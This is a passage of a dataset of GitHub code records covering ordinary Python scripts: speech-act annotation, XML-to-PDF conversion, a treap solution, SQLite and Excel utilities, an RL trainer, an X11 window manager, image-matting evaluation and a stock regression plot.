contingencies\n\n return adj_data\n\n\ndef create_file_with_all_possible_adjacency_pairs_for_annotation():\n adj_data_all = pd.DataFrame()\n\n data = pd.read_pickle(PATH_NEW_ENGLAND_UTTERANCES_ANNOTATED)\n\n # map ages to corresponding bins\n data[\"age_months\"] = data[\"age_months\"].apply(age_bin)\n\n for column_name_speech_act in [SPEECH_ACT, \"y_pred\"]:\n for age in AGES:\n adj_data, _ = get_adj_pairs_frac_data(\n data,\n age,\n source=ADULT,\n target=CHILD,\n min_percent=0.0,\n min_percent_recipient=0.0,\n column_name_speech_act=column_name_speech_act,\n )\n adj_data_all = adj_data_all.append(adj_data, ignore_index=True)\n\n # whole childes data:\n data_whole_childes = load_whole_childes_data()\n\n for age in AGES:\n adj_data, _ = get_adj_pairs_frac_data(\n data_whole_childes,\n age,\n source=ADULT,\n target=CHILD,\n min_percent=0.0,\n min_percent_recipient=0.0,\n column_name_speech_act=SPEECH_ACT,\n )\n adj_data_all = adj_data_all.append(adj_data, ignore_index=True)\n\n adj_data_all.drop_duplicates(subset=[\"source\", \"target\"], inplace=True)\n to_annotate = adj_data_all[\n [\"source\", \"target\", \"source_description\", \"target_description\"]\n ]\n\n to_annotate.sort_values(by=\"source\", inplace=True)\n\n to_annotate[\"contingency\"] = to_annotate.apply(\n lambda row: 0 if row[\"target\"] in [\"YY\", \"OO\"] else \"TODO\", axis=1\n )\n\n to_annotate.to_csv(\"data/adjacency_pairs_for_annotation.csv\", index=False)\n\n\nif __name__ == \"__main__\":\n create_file_with_all_possible_adjacency_pairs_for_annotation()\n","repo_name":"cocodev-team/childes-speech-acts","sub_path":"process_contingencies.py","file_name":"process_contingencies.py","file_ext":"py","file_size_in_byte":3164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"23927502315","text":"import com.ibm.custom.XML2PDF as XML2PDF\n\n#create instance with one of these two methods\n#xp = XML2PDF() \nxp = XML2PDF('etc/fop.xconf')\n\n#file locations:\nxmlpath = 'samples/incident.xml'\nxsltpath = 'samples/inc2fo.xsl'\npdfpath = 'samples/jython_result.pdf'\nxp.transform(xmlpath,xsltpath,pdfpath)\n","repo_name":"pjgunadi/XML2PDF","sub_path":"XML2PDF_jython_sample.py","file_name":"XML2PDF_jython_sample.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34099360716","text":"from random import random\n\nsales_log = None\n# l r val pri\n# 0 1 2 3\n\ndef lrot(t):\n if not t or not t[1]:\n return t\n else:\n temp = t[1]\n t[1] = temp[0]\n temp[0] = t\n return temp\n\ndef rrot(t):\n if not t or not t[0]:\n return t\n else:\n temp = t[0]\n t[0] = temp[1]\n temp[1] = t\n return temp\n\ndef insert(t, v):\n if not t:\n return [None, None, v, random()]\n else:\n if t[2] < v:\n t[1] = insert(t[1], v)\n if t[1][3] < t[3]:\n t = lrot(t)\n elif t[2] > v:\n t[0] = insert(t[0], v)\n if t[0][3] < t[3]:\n t = rrot(t)\n return t\n\ndef find_nearest(t, v):\n\n def pre(t, v):\n if not t:\n return float(\"-inf\")\n elif t[2] > v:\n return pre(t[0], v)\n else:\n return max(t[2], pre(t[1], v))\n def bac(t, v):\n if not t:\n return float(\"+inf\")\n elif t[2] < v:\n return bac(t[1], v)\n else:\n return min(t[2], bac(t[0], v))\n \n return min(v - pre(t, v), bac(t, v) - v)\n\n\nn = int(input().strip())\n\nsales_log = None\nrslt = 0\nfor i in range(n):\n ai = int(input().strip())\n if not sales_log:\n rslt += ai\n else:\n rslt += find_nearest(sales_log, ai)\n sales_log = insert(sales_log, ai) \n \nprint(rslt)\n \n\n\n\n# test = [[[None, None, 3, 0], [None, None, 4, 0], 2, 0], [None, None, 5, 0], 1, 0]\n# print(insert(test, 9))\n\n# from random import random\n# \n# MAXN = 32767\n# \n# l = [None] * MAXN\n# r = [None] * MAXN\n# val = [None] * MAXN\n# pri = [None] * MAXN\n# \n# \n# def lrot(tr)\n# temp = r[tr]\n# r[tr] = l[temp]\n# l[temp] = tr\n# return temp\n# \n# def rrot(tr):\n# temp = l[tr]\n# l[tr] = r[temp]\n# r[temp] = tr\n# return temp\n# \n# def insert(tr, v):\n# if val[tr] == None:\n# val[tr] = v\n# pri[tr] = random()\n# \n\n\n\n\n# def lro(log):\n# if log == None:\n# return None\n# else:\n# temp = log[1]\n# log[1] = temp\n# \n# def insert(log, v):\n# if log == None:\n# return [None, v, None]\n# elif v > log[1]:\n# return [log[0], log[1], insert(log[2], v)]\n# elif v < log[1]:\n# return [insert(log[0], v), log[1], log[2]]\n# else:\n# return log\n# \n# def find_nearest(log, v):\n# \n# def pre(log, v):\n# if log == None:\n# return float(\"-inf\")\n# elif log[1] > v:\n# return pre(log[0], v)\n# else:\n# return max(log[1], pre(log[2], v))\n# def bac(log, v):\n# if log == None:\n# return float(\"+inf\")\n# elif log[1] < v:\n# return bac(log[2], v)\n# else:\n# return min(log[1], bac(log[0], v))\n# \n# return min(v - pre(log, v), bac(log, v) - v)\n# \n# \n# n = int(input().strip())\n# \n# sales_log = None\n# rslt = 0\n# for i in range(n):\n# ai = int(input().strip())\n# if sales_log == None:\n# rslt += ai\n# else:\n# rslt += find_nearest(sales_log, ai)\n# sales_log = insert(sales_log, ai) \n# \n# print(rslt)\n# \n","repo_name":"xxu-mzwyt/competitive-programming-solutions","sub_path":"Luogu/P2234.py","file_name":"P2234.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23553100046","text":"import sqlite3\ntry:\n connect = sqlite3.connect('db.sqlite3')\n cursor = connect.cursor()\n #cursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS main_book_data(name TEXT,surname TEXT,book_title TEXT,date_lend DATE);\"\"\")\n cursor.execute(\"\"\"DELETE FROM main_book_data WHERE name = \"Корона\";\"\"\")\n a=cursor.fetchall()\n #cursor.execute(\"\"\"DROP TABLE main_book_data;\"\"\")\n cursor.close()\n connect.commit()\nexcept:\n print('Ошибка')\nfinally:\n print(\"Я выполняюсь всегда независимо от ошибки\")","repo_name":"igorLukyanov12/library_final","sub_path":"ddd.py","file_name":"ddd.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19706870701","text":"import os.path\nimport json\nimport xlrd\n\n\ndef parse_excel(save_position, file_name):\n \"\"\"\n 解析excel文件\n \"\"\"\n if file_name:\n file_name = json.loads(file_name)\n if file_name != []:\n string_file_name = file_name[0]\n file_path = os.path.join(save_position, string_file_name)\n file = xlrd.open_workbook(file_path)\n table = file.sheets()[0]\n all_rows = table.nrows\n return table, all_rows\n else:\n return [], []\n return [], []\n\ndef extract_all_data(save_postiton, file_name):\n \"\"\"\n 获取表格的全部数据\n \"\"\"\n all_data = []\n table, all_rows = parse_excel(save_postiton, file_name)\n if table != []:\n for row in range(all_rows):\n if row == 0:\n continue\n all_data.append(table.row_values(row))\n return all_data\n\ndef extract_x_y_data(save_position, file_name):\n \"\"\"\n 解析excel文件，返回文件中的数据\n :param file_obj:\n :return: data: 坐标二维数组\n \"\"\"\n data = []\n table, all_rows = parse_excel(save_position, file_name)\n if table != []:\n for row in range(all_rows):\n # 取第一列为x轴数据，第4列为y轴数据\n if row == 0:\n continue\n x = table.row_values(row, start_colx=0, end_colx=1)\n y = table.row_values(row, start_colx=2, end_colx=3)\n # row_values返回的是一个列表，所以需要取列表中的元素来赋值\n data.append([x[0], y[0]])\n\n return data\n\ndef extract_x_y_z_data(save_position, file_name):\n data = []\n table, all_rows = parse_excel(save_position, file_name)\n if table != []:\n for row in range(all_rows):\n if row == 0:\n continue\n num = table.row_values(row, start_colx=0, end_colx=1)\n x = table.row_values(row, start_colx=1, end_colx=2)\n y = table.row_values(row, start_colx=2, end_colx=3)\n z = table.row_values(row, start_colx=3, end_colx=4)\n one_data = {\n \"sensor\": num[0],\n \"xp\": x[0],\n \"yp\": y[0],\n \"zp\": z[0]\n }\n data.append(one_data)\n\n return data\n\ndef extract_data_from_name(save_position, file_name, *args):\n # cow_number 为excel的列数\n data_name_list = []\n for data_name in args:\n data_name_list.append(data_name)\n\n data = []\n table, rows_count = parse_excel(save_position, file_name)\n if table != []:\n need_col = []\n cols_count = table.ncols\n for row in range(rows_count):\n if row == 0:\n # 记录之后需要提取的列号\n for col in range(cols_count):\n # table.row_values(row, start_colx=col, end_colx=col+1)[0]结果是个list取第一个元素即可\n if table.row_values(row, start_colx=col, end_colx=col+1)[0] in data_name_list:\n need_col.append(col)\n else:\n one_row_data = []\n for col in need_col:\n one_row_data.append(table.row_values(row, start_colx=col, end_colx=col+1)[0])\n\n data.append(one_row_data)\n\n return data\n\n\n\ndef extract_x_y_data_to_three_array(save_position, file_name):\n \"\"\"\n 解析excel文件，返回文件中的数据\n :param file_obj:\n :return: data: 坐标三维数组\n \"\"\"\n # 总体思路：就是调用extract_x_y函数来取特定的列，本函数只需要将结果添加到一个新的数组中即可\n pass\n\ndef extract_mass_piece_data(save_position, file_name):\n \"\"\"\n 解析excel文件：返回文件中的数据\n \"\"\"\n data = []\n table, all_rows = parse_excel(save_position, file_name)\n if table != []:\n for row in range(all_rows):\n if row == 0:\n continue\n num = table.row_values(row, start_colx=0, end_colx=1)\n before = table.row_values(row, start_colx=1, end_colx=2)\n after = table.row_values(row, start_colx=2, end_colx=3)\n delta = table.row_values(row, start_colx=3, end_colx=4)\n corrosion_rate = table.row_values(row, start_colx=4, end_colx=5)\n one_data = {\n \"number\": num[0],\n \"before\": before[0],\n \"after\": after[0],\n \"delta\": delta[0],\n \"corrosion_rate\": corrosion_rate[0],\n }\n data.append(one_data)\n\n return data\n\ndef extract_data_without_name(save_position, file_name):\n data = []\n table, all_rows = parse_excel(save_position, file_name)\n if table != []:\n all_cols = table.ncols\n for col in range(all_cols):\n if col == 0 or col == 1:\n continue\n one_col_data = []\n for row in range(all_rows):\n if row == 0:\n continue\n one_data_list = []\n one_data = table.col_values(col, start_rowx=row, end_rowx=row+1)\n one_data_list.append(row)\n one_data_list.append(one_data[0])\n\n one_col_data.append(one_data_list)\n data.append(one_col_data)\n return data\n\ndef extract_ambient_data(save_position, file_name):\n data = []\n table, all_rows = parse_excel(save_position, file_name)\n if table != []:\n one_line_data = []\n other_line_data = []\n for row in range(all_rows):\n if row == 0:\n continue\n num = table.row_values(row, start_colx=0, end_colx=1)\n x = table.row_values(row, start_colx=1, end_colx=2)\n y = table.row_values(row, start_colx=2, end_colx=3)\n one_line_data.append([num[0], x[0]])\n other_line_data.append([num[0], y[0]])\n data.append(one_line_data)\n data.append(other_line_data)\n\n return data\n\ndef extract_sensors_data(save_position, file_name):\n data = []\n table, all_rows = parse_excel(save_position, file_name)\n if table != []:\n temperature_list = []\n humidity_list = []\n all_cols = table.ncols\n for col in range(all_cols):\n if col == 0 or col == 1:\n continue\n if col % 2 != 0:\n one_col_data = []\n for row in range(all_rows):\n if row != 1:\n if row == 0 or row % 3600 != 0:\n continue\n one_data_list = []\n one_data = table.col_values(col, start_rowx=row, end_rowx=row+1)\n one_data_list.append(row)\n one_data_list.append(one_data[0])\n one_col_data.append(one_data_list)\n temperature_list.append(one_col_data)\n else:\n one_col_data = []\n for row in range(all_rows):\n if row == 0:\n continue\n one_data_list = []\n one_data = table.col_values(col, start_rowx=row, end_rowx=row+1)\n one_data_list.append(row)\n one_data_list.append(one_data[0])\n one_col_data.append(one_data_list)\n humidity_list.append(one_col_data)\n\n data.append(temperature_list)\n data.append(humidity_list)\n return data\n","repo_name":"hm961225/cui_experiment","sub_path":"material_experiment/app/utils/excel_data_extract.py","file_name":"excel_data_extract.py","file_ext":"py","file_size_in_byte":7462,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"33765529021","text":"# -*- coding: utf-8 -*-\n'''\n This module defines Trainer class which is used\n to encapsulate training of reinforcement learning\n agent in an environment.\n'''\n\nfrom trainer import Trainer\n\nimport gym\nimport numpy as np\n\nfrom baselines.common.vec_env.subproc_vec_env import SubprocVecEnv\nfrom baselines.common.vec_env.dummy_vec_env import DummyVecEnv\n\n\nclass ActorCriticTrainer(Trainer):\n '''\n This class defines some 'train' method which\n can be used to train an RL agent.\n Params of __init__:\n - env: Environment -- environment to use;\n - agent: Agent -- agent to train;\n - config: Config -- configuration dict to use.\n '''\n def __init__(self, env, agent, config, log_dir='logs'):\n super(ActorCriticTrainer, self).__init__(env, agent, config) \n \n def create_env(seed):\n _env = self.env\n def _thunk():\n name = _env.unwrapped.spec.id\n env = gym.make(name)\n env.seed(seed)\n \n# if log_dir is not None:\n# env = bench.Monitor(env, os.path.join(log_dir, str(seed)))\n\n return env\n \n return _thunk\n \n envs = [\n create_env(i)\n for i in range(self.config.num_processes)\n ]\n \n if self.config.num_processes == 1:\n self.env = DummyVecEnv(envs)\n else:\n self.env = SubprocVecEnv(envs)\n\n\n def run_episode(self, max_steps):\n '''\n This function runs training of agent on one episode.\n Params:\n - max_steps: int -- maximum number of steps during one episode.\n '''\n state = self.env.reset()\n episode_reward = np.zeros(self.config.num_processes)\n final_reward = np.zeros(self.config.num_processes)\n \n self.agent.episode_start()\n\n for step_num in range(max_steps):\n# self.env.render()\n self.agent.step_start()\n \n step_num += 1\n action, value_pred = self.agent.act(state)\n\n new_state, reward, done, _ = self.env.step(action)\n self.agent.observe(state, action, new_state, reward, done, value_pred)\n\n masks = 1 - done\n episode_reward += reward\n \n final_reward *= masks\n final_reward += episode_reward * (1 - masks)\n \n episode_reward *= masks\n \n state = new_state\n self.agent.step_end()\n \n self.agent.episode_end()\n \n final_reward = np.mean(final_reward)\n step_num = np.mean(1 - done)\n return final_reward, step_num","repo_name":"justanothercoder/RL_methods","sub_path":"actor_critic_trainer.py","file_name":"actor_critic_trainer.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14941374303","text":"#list comrehension with if else\nnumbers = list(range(1,11))\nprint(f\"Number in the list is: {numbers}\")\n#if number is odd than multiple with minu and if number is odd than multiple with 2\n#new_list = [-1,4,-3,8,.....]\n\n#by simple method\nnew_list = []\nfor i in numbers:\n if i%2 == 0:\n new_list.append(i*2)\n else:\n new_list.append(-i)\nprint(f\"Output of the list is: {new_list}\")\n#by list comrehension method\nnew_list2 = [i*2 if( i%2 == 0) else -i for i in numbers]\nprint(f\"Output of the list is: {new_list2}\")\n","repo_name":"BeenashPervaiz/Command_Line_Task","sub_path":"list_comprehension_ifelse.py","file_name":"list_comprehension_ifelse.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13827848893","text":"import math\n\nimport cv2 as cv\nimport numpy as np\nimport torch\nfrom torchvision import transforms\nfrom tqdm import tqdm\nimport os\n\nfrom config import device, fg_path_test, a_path_test, bg_path_test\nfrom data_gen import data_transforms, fg_test_files, bg_test_files\nfrom utils import compute_mse, compute_sad, AverageMeter, get_logger, compute_grad, compute_connectivity\n\ndef gen_test_names():\n num_fgs = 50\n num_bgs = 1000\n num_bgs_per_fg = 20\n\n names = []\n bcount = 0\n for fcount in range(num_fgs):\n for i in range(num_bgs_per_fg):\n names.append(str(fcount) + '_' + str(bcount) + '.png')\n bcount += 1\n\n return names\n\n\ndef process_test(im_name, bg_name):\n # print(bg_path_test + bg_name)\n im = cv.imread(fg_path_test + im_name)\n a = cv.imread(a_path_test + im_name, 0)\n h, w = im.shape[:2]\n bg = cv.imread(bg_path_test + bg_name)\n bh, bw = bg.shape[:2]\n wratio = w / bw\n hratio = h / bh\n ratio = wratio if wratio > hratio else hratio\n if ratio > 1:\n bg = cv.resize(src=bg, dsize=(math.ceil(bw * ratio), math.ceil(bh * ratio)), interpolation=cv.INTER_CUBIC)\n\n return composite4(im, bg, a, w, h)\n\ndef composite4(fg, bg, a, w, h):\n fg = np.array(fg, np.float32)\n\n bg_h, bg_w = bg.shape[:2]\n x = 0\n if bg_w > w:\n x = np.random.randint(0, bg_w - w)\n y = 0\n if bg_h > h:\n y = np.random.randint(0, bg_h - h)\n bg = np.array(bg[y:y + h, x:x + w], np.float32)\n alpha = np.zeros((h, w, 1), np.float32)\n alpha[:, :, 0] = a / 255.\n im = alpha * fg + (1 - alpha) * bg\n im = im.astype(np.uint8)\n\n return im, bg, a\n\nif __name__ == '__main__':\n save_root = 'images/KD'\n\n if not os.path.exists(save_root):\n os.makedirs(save_root)\n\n checkpoint = 'BEST_checkpoint.tar'\n checkpoint = torch.load(checkpoint)\n model = checkpoint['model']\n\n model = model.to(device)\n model.eval()\n\n transformer = data_transforms['valid']\n\n names = gen_test_names()\n\n mse_losses = AverageMeter()\n sad_losses = AverageMeter()\n grad_losses = AverageMeter()\n connectivity_losses = AverageMeter()\n\n logger = get_logger()\n i = 0\n for name in tqdm(names):\n fcount = int(name.split('.')[0].split('_')[0])\n bcount = int(name.split('.')[0].split('_')[1])\n im_name = fg_test_files[fcount]\n bg_name = bg_test_files[bcount]\n trimap_name = im_name.split('.')[0] + '_' + str(i) + '.png'\n bg_name = bg_name.split('.')[0]\n fg_name = im_name.split('.')[0]\n\n img = cv.imread('data/merged_test/' + bg_name + '!' + fg_name + '!' + str(fcount) + '!' + str(bcount) +'.png')\n trimap = cv.imread('data/Combined_Dataset/Test_set/Adobe-licensed images/trimaps/' + trimap_name, 0)\n alpha = cv.imread(a_path_test + im_name, 0)\n\n i += 1\n if i == 20:\n i = 0\n\n #img, alpha, fg, bg, new_trimap = process_test(im_name, bg_name, trimap)\n #img, bg, alpha = process_test(im_name, bg_name)\n h, w = img.shape[:2]\n # save image\n # cv.imwrite('images/image.png', img)\n # mytrimap = gen_trimap(alpha)\n # cv.imwrite('images/test/new_im/'+trimap_name,mytrimap)\n\n x = torch.zeros((1, 4, h, w), dtype=torch.float)\n img = img[..., ::-1] # RGB\n img = transforms.ToPILImage()(img) # [3, 320, 320]\n img = transformer(img) # [3, 320, 320]\n x[0:, 0:3, :, :] = img\n x[0:, 3, :, :] = torch.from_numpy(trimap.copy() / 255.)\n\n # Move to GPU, if available\n x = x.type(torch.FloatTensor).to(device) # [1, 4, 320, 320]\n alpha = alpha / 255.\n\n with torch.no_grad():\n _, pred = model(x) # [1, 4, 320, 320]\n\n pred = pred.cpu().numpy()\n pred = pred.reshape((h, w)) # [320, 320]\n\n pred[trimap == 0] = 0.0\n pred[trimap == 255] = 1.0\n cv.imwrite(os.path.join(save_root, trimap_name), pred * 255)\n\n mask = np.zeros([h, w])\n mask[trimap == 128] = 1\n w = np.sum(mask)\n # Calculate loss\n # loss = criterion(alpha_out, alpha_label)\n sad_loss = compute_sad(pred, alpha)\n mse_loss = compute_mse(pred, alpha, mask)\n grad_loss = compute_grad(pred, alpha, mask)\n connectivity_loss = compute_connectivity(pred, alpha, mask, step=0.1)\n\n str_msg = 'sad: %.4f, mse: %.4f, grad_loss: %.4f, con_loss: %.4f' % (\n sad_loss, mse_loss, grad_loss, connectivity_loss)\n\n print('test: {0}/{1}, '.format(i + 1, 20) + str_msg)\n\n sad_losses.update(sad_loss.item())\n mse_losses.update(mse_loss.item())\n grad_losses.update(grad_loss.item())\n connectivity_losses.update(connectivity_loss.item())\n print(\"SAD:{:0.2f}, MSE:{:0.4f}, GRAD:{:0.2f}, CON:{:0.2f}\".format(sad_losses.avg, mse_losses.avg, grad_losses.avg,\n connectivity_losses.avg))\n with open(os.path.join(save_root + 'result.txt'),'a') as f:\n print(\"SAD:{:0.2f}, MSE:{:0.4f}, GRAD:{:0.2f}, CON:{:0.2f}\".format(sad_losses.avg, mse_losses.avg, grad_losses.avg,\n connectivity_losses.avg), file=f)\n\n","repo_name":"DongGeun-Yoon/SPKD","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5242,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"3"} +{"seq_id":"15349885861","text":"import sqlite3\n\nconnect = sqlite3.connect('books.sqlite') #creating the database\n\ncursor = connect.cursor() # creating a cursor Object to be able to execute sql statements on the database\n\n# creating the table SQL query\nsql_query = \"\"\" CREATE TABLE books (\n id integer PRIMARY KEY,\n author text NOT NULL,\n language text NOT NULL,\n title text NOT NULL\n)\"\"\"\n\ncursor.execute(sql_query)\nprint(\"table created\")","repo_name":"Johnnie71/samplePythonFlaskSqlite3App","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20724121109","text":"from xcb.xproto import ConfigWindow as cw\nimport xcb.xproto as xproto\nfrom xpybutil import ewmh, icccm, util, event\nimport atom\n\natoms = [\"_NET_WM_STATE_FULLSCREEN\" , \"WM_PROTOCOLS\", \"WM_TAKE_FOCUS\", \"WM_DELETE_WINDOW\",\"_NET_WM_WINDOW_TYPE_DOCK\", \"_NET_WM_STATE_STICKY\"]\natom.update_atom_cache(atoms)\n\nclass Window:\n def __init__(self, window, conn, wm):\n #The XID for our window, our connection to the \n #Xserver, and our reference to the Manager object\n self.win = window\n self.conn = conn\n self.wm = wm\n self.workspace = self.wm.current_workspace\n #these are set later, and I\n #haven't had a problem with it yet.\n self.x = 0\n self.y = 0\n self.w =0\n self.h = 0\n \n #do we have a strut?\n strut = self.get_wm_strut_partial()\n if strut:\n self.strut = strut\n else:\n self.strut = None\n \n #are we a fullscreen window ?\n net_state = self.get_net_wm_state()\n self.fullscreen = False\n self.sticky = False\n if net_state and atom._NET_WM_STATE_FULLSCREEN in net_state:\n self.fullscreen = True\n if net_state and atom._NET_WM_STATE_STICKY in net_state:\n self.sticky = True\n \n #Define Default values for focus modals\n self.no_input = False\n self.passive = False\n self.local_active =False\n self.global_active = False\n \n \n #What is our focus modal?\n protos = self.get_wm_protocols()\n hints = self.get_wm_hints()\n input = False\n take_focus = False\n if hints and hints['input']:\n input = True\n if protos and atom.WM_TAKE_FOCUS in protos:\n take_focus = True\n if input and take_focus:\n self.local_active = True\n elif input and not take_focus:\n self.passive = True\n elif take_focus and not input:\n self.global_active = True\n else:\n self.no_input = True\n \n #what kind of a window are we?\n self.type = self.get_wm_window_type()\n if not self.type:\n self.type = []\n \n def get_wm_window_type(self):\n return ewmh.get_wm_window_type(self.win).reply()\n \n def get_wm_state(self):\n return icccm.get_wm_state(self.win).reply()\n \n def get_wm_hints(self):\n return icccm.get_wm_hints(self.win).reply()\n \n def get_wm_protocols(self):\n return icccm.get_wm_protocols(self.win).reply()\n \n def get_wm_name(self):\n return icccm.get_wm_name(self.win).reply()\n \n def get_wm_transient_for(self):\n return icccm.get_wm_transient_for(self.win).reply()\n \n def get_wm_strut_partial(self):\n try:\n strut = ewmh.get_wm_strut_partial(self.win).reply()\n except xproto.BadWindow:\n return None\n return strut\n \n def get_net_wm_state(self):\n return ewmh.get_wm_state(self.win).reply()\n \n def get_attributes(self):\n return self.conn.core.GetWindowAttributes(self.win).reply()\n \n def get_geometry(self):\n return self.conn.core.GetGeometry(self.win).reply()\n \n def configure(self, x, y, w, h, bw = 1):\n mask = cw.X | cw.Y | cw.Width | cw.Height | cw.BorderWidth\n values = [x, y, w, h, bw]\n self.x = x\n self.y = y\n self.w = w\n self.h = h\n values[1] = y +1\n self.conn.core.ConfigureWindowChecked(self.win, mask, values)\n values[1] = y\n self.conn.core.ConfigureWindowChecked(self.win, mask, values)\n \n def map(self):\n icccm.set_wm_state(self.win, icccm.State.Normal, 0)\n self.conn.core.MapWindow(self.win)\n \n def unmap(self):\n self.conn.core.UnmapWindow(self.win)\n \n def focus(self):\n try:\n if self.passive :\n self.conn.core.SetInputFocus(xproto.InputFocus.PointerRoot, self.win, xproto.Time.CurrentTime)\n elif self.local_active:\n err = self.conn.core.SetInputFocusChecked(xproto.InputFocus.PointerRoot, self.win, xproto.Time.CurrentTime)\n err.check()\n packed = event.pack_client_message(self.win, \"WM_PROTOCOLS\", atom.WM_TAKE_FOCUS, xproto.Time.CurrentTime)\n event.send_event(self.win, 0,packed)\n elif self.global_active:\n packed = event.pack_client_message(self.win, \"WM_PROTOCOLS\", atom.WM_TAKE_FOCUS, xproto.Time.CurrentTime)\n event.send_event(self.win, 0,packed)\n else:\n return\n self.wm.current_name = self.get_wm_name()\n self.wm.current_win = self\n ewmh.set_active_window(self.win)\n\n except (xproto.BadMatch, xproto.BadWindow):\n return\n \n def destroy(self):\n #we need to handle WM_DELETE_window\n try:\n protos = self.get_wm_protocols()\n if protos and atom.WM_DELETE_WINDOW in protos:\n packed = event.pack_client_message(self.win, \"WM_PROTOCOLS\", atom.WM_DELETE_WINDOW, xproto.Time.CurrentTime)\n event.send_event(self.win, 0,packed)\n else:\n self.conn.core.DestroyWindow(self.win)\n except xproto.BadWindow:\n return\n","repo_name":"mpnordland/Mozzarella","sub_path":"window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":5362,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"15718902667","text":"\"\"\" Regression View\"\"\"\n__docformat__ = \"numpy\"\n\nimport logging\nimport os\nfrom typing import Union, Optional, List\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom pandas.plotting import register_matplotlib_converters\n\nfrom openbb_terminal.common.prediction_techniques import regression_model\nfrom openbb_terminal.common.prediction_techniques.pred_helper import (\n lambda_price_prediction_backtesting_color,\n print_prediction_kpis,\n print_pretty_prediction,\n)\nfrom openbb_terminal.config_plot import PLOT_DPI\nfrom openbb_terminal.config_terminal import theme\nfrom openbb_terminal.decorators import log_start_end\nfrom openbb_terminal.helper_funcs import (\n export_data,\n get_next_stock_market_days,\n patch_pandas_text_adjustment,\n plot_autoscale,\n)\nfrom openbb_terminal.rich_config import console\nfrom openbb_terminal import rich_config\n\nlogger = logging.getLogger(__name__)\n\nregister_matplotlib_converters()\n\n# pylint:disable=too-many-arguments\n\n\n@log_start_end(log=logger)\ndef display_regression(\n dataset: str,\n values: Union[pd.Series, pd.DataFrame],\n poly_order: int,\n n_input: int,\n n_predict: int,\n n_jumps: int,\n s_end_date: str = \"\",\n export: str = \"\",\n time_res: str = \"\",\n external_axes: Optional[List[plt.Axes]] = None,\n):\n \"\"\"Display predications for regression models\n\n Parameters\n ----------\n dataset : str\n Title for data\n values : Union[pd.Series, pd.DataFrame]\n Data to fit\n poly_order : int\n Order of polynomial to fit\n n_input : int\n Length of input sequence\n n_predict : int\n Length of prediction sequence\n n_jumps : int\n Number of jumps in data\n s_end_date : str, optional\n Start date for backtesting\n export : str, optional\n Format for exporting figures\n time_res : str\n Resolution for data, allowing for predicting outside of standard market days\n external_axes : Optional[List[plt.Axes]], optional\n External axes (1 axis is expected in the list), by default None\n \"\"\"\n # BACKTESTING\n if s_end_date:\n if not time_res:\n future_index = get_next_stock_market_days(\n last_stock_day=s_end_date, n_next_days=n_predict\n )\n else:\n future_index = pd.date_range(\n s_end_date, periods=n_predict + 1, freq=time_res\n )[1:]\n\n df_future = values[future_index[0] : future_index[-1]] # noqa: E203\n values = values[:s_end_date] # type: ignore\n\n l_predictions, _ = regression_model.get_regression_model(\n list(values.values), poly_order, n_input, n_predict, n_jumps\n )\n\n # Prediction data\n if not time_res:\n l_pred_days = get_next_stock_market_days(\n last_stock_day=values.index[-1],\n n_next_days=n_predict,\n )\n else:\n l_pred_days = pd.date_range(\n values.index[-1], periods=n_predict + 1, freq=time_res\n )[1:]\n df_pred = pd.Series(l_predictions, index=l_pred_days, name=\"Price\")\n\n # Plotting\n\n # This plot has 1 axes\n if external_axes is None:\n _, ax1 = plt.subplots(figsize=plot_autoscale(), dpi=PLOT_DPI)\n else:\n if (not s_end_date and len(external_axes) != 1) or (\n s_end_date and len(external_axes) != 3\n ):\n logger.error(\"Expected list of 1 axis or 3 axes when backtesting.\")\n console.print(\n \"[red]Expected list of 1 axis or 3 axes when backtesting./n[/red]\"\n )\n return\n ax1 = external_axes[0]\n\n ax1.plot(values.index, values)\n # BACKTESTING\n if s_end_date:\n ax1.set_title(\n f\"BACKTESTING: Regression (polynomial {poly_order}) on {dataset} - {n_predict} step prediction\",\n fontsize=12,\n )\n else:\n ax1.set_title(\n f\"Regression (polynomial {poly_order}) on {dataset} - {n_predict} step prediction\"\n )\n ax1.set_xlim(values.index[0], l_pred_days[-1])\n ax1.set_ylabel(\"Value\")\n ax1.plot(\n [values.index[-1], df_pred.index[0]],\n [values.values[-1], df_pred.values[0]],\n color=theme.down_color,\n linestyle=\"--\",\n )\n ax1.plot(df_pred.index, df_pred, color=theme.down_color)\n ax1.axvspan(values.index[-1], df_pred.index[-1], alpha=0.2)\n _, _, ymin, ymax = plt.axis()\n ax1.vlines(values.index[-1], ymin, ymax, linestyle=\"--\")\n\n # BACKTESTING\n if s_end_date:\n ax1.plot(\n df_future.index,\n df_future,\n color=theme.up_color,\n linestyle=\"--\",\n )\n ax1.plot(\n [values.index[-1], df_future.index[0]],\n [\n values.values[-1],\n df_future.values[0],\n ],\n color=theme.up_color,\n linestyle=\"--\",\n )\n\n theme.style_primary_axis(ax1)\n\n if external_axes is None:\n theme.visualize_output()\n\n export_data(export, os.path.dirname(os.path.abspath(__file__)), \"regression\")\n console.print(\"\")\n\n # BACKTESTING\n if s_end_date:\n # This plot has 1 axes\n if external_axes is None:\n _, axes = plt.subplots(\n 2, 1, sharex=True, figsize=plot_autoscale(), dpi=PLOT_DPI\n )\n (ax2, ax3) = axes\n else:\n if len(external_axes) != 3:\n logger.error(\"Expected list of three axis 